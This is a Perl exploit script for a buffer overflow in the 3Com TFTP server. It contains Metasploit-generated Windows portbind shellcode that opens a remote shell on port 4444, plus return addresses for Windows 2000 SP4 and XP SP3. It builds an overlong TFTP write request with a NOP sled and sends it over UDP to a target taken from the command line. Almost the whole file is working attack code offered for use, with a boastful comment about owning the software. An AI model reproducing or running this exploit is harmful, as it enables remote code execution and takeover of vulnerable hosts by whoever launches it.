#!/usr/bin/perl # 3com_tftp_bof.pl # Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com] # Easily owns ancient 3CTftpSvc.zip # <JOKE!@#$% OK!@#$% JOKE!@#$%> # Now how about a time machine and axx to 3com internal networks! # </JOKE!@#$% OK!@#$% JOKE!@#$%>
use IO::Socket;
$win2ksp4 = 0x77E43292; # user32.dll JMP ESI $winxpsp3 = 0x7E485184; # user32.dll JMP ESI $test1234 = 0x41424344; # Debugging Purposes
# Win32 Portbind Shellcode (pexfnstsub/metasploit,size=344,port=4444) $shellcode = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x49". "\x35\x87\x48\x83\xeb\xfc\xe2\xf4\xb5\x5f\x6c\x05\xa1\xcc\x78\xb7". "\xb6\x55\x0c\x24\x6d\x11\x0c\x0d\x75\xbe\xfb\x4d\x31\x34\x68\xc3". "\x06\x2d\x0c\x17\x69\x34\x6c\x01\xc2\x01\x0c\x49\xa7\x04\x47\xd1". "\xe5\xb1\x47\x3c\x4e\xf4\x4d\x45\x48\xf7\x6c\xbc\x72\x61\xa3\x60". "\x3c\xd0\x0c\x17\x6d\x34\x6c\x2e\xc2\x39\xcc\xc3\x16\x29\x86\xa3". "\x4a\x19\x0c\xc1\x25\x11\x9b\x29\x8a\x04\x5c\x2c\xc2\x76\xb7\xc3". "\x09\x39\x0c\x38\x55\x98\x0c\x08\x41\x6b\xef\xc6\x07\x3b\x6b\x18". "\xb6\xe3\xe1\x1b\x2f\x5d\xb4\x7a\x21\x42\xf4\x7a\x16\x61\x78\x98". "\x21\xfe\x6a\xb4\x72\x65\x78\x9e\x16\xbc\x62\x2e\xc8\xd8\x8f\x4a". "\x1c\x5f\x85\xb7\x99\x5d\x5e\x41\xbc\x98\xd0\xb7\x9f\x66\xd4\x1b". "\x1a\x66\xc4\x1b\x0a\x66\x78\x98\x2f\x5d\x96\x14\x2f\x66\x0e\xa9". "\xdc\x5d\x23\x52\x39\xf2\xd0\xb7\x9f\x5f\x97\x19\x1c\xca\x57\x20". "\xed\x98\xa9\xa1\x1e\xca\x51\x1b\x1c\xca\x57\x20\xac\x7c\x01\x01". "\x1e\xca\x51\x18\x1d\x61\xd2\xb7\x99\xa6\xef\xaf\x30\xf3\xfe\x1f". "\xb6\xe3\xd2\xb7\x99\x53\xed\x2c\x2f\x5d\xe4\x25\xc0\xd0\xed\x18". "\x10\x1c\x4b\xc1\xae\x5f\xc3\xc1\xab\x04\x47\xbb\xe3\xcb\xc5\x65". "\xb7\x77\xab\xdb\xc4\x4f\xbf\xe3\xe2\x9e\xef\x3a\xb7\x86\x91\xb7". "\x3c\x71\x78\x9e\x12\x62\xd5\x19\x18\x64\xed\x49\x18\x64\xd2\x19". "\xb6\xe5\xef\xe5\x90\x30\x49\x1b\xb6\xe3\xed\xb7\xb6\x02\x78\x98". "\xc2\x62\x7b\xcb\x8d\x51\x78\x9e\x1b\xca\x57\x20\xb9\xbf\x83\x17". "\x1a\xca\x51\xb7\x99\x35\x87\x48";
$target = $ARGV[0]; $os = $ARGV[1];
if(!defined($target) || !defined($os)) {
print "Usage: $0 <1.2.3.4> [1=win2ksp4/2=winxpsp3/3=test1234]\n";
}
if($os == "1") { $retaddr = pack('l', $win2ksp4); } if($os == "2") { $retaddr = pack('l', $winxpsp3); } if($os == "3") { $retaddr = pack('l', $test1234); }
# [packet] write filename start mode start our payload (transport mode name) $payload = "\x00\x02" . "roffles" . "\x00" . "\x90" x 129 . $shellcode . $retaddr . "\x00"; # 129 + 344 + 4 = 477
$sock = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>$target, PeerPort=>'69') or die "Error: $target/69\n";
print $sock $payload; close($sock);
exit;
|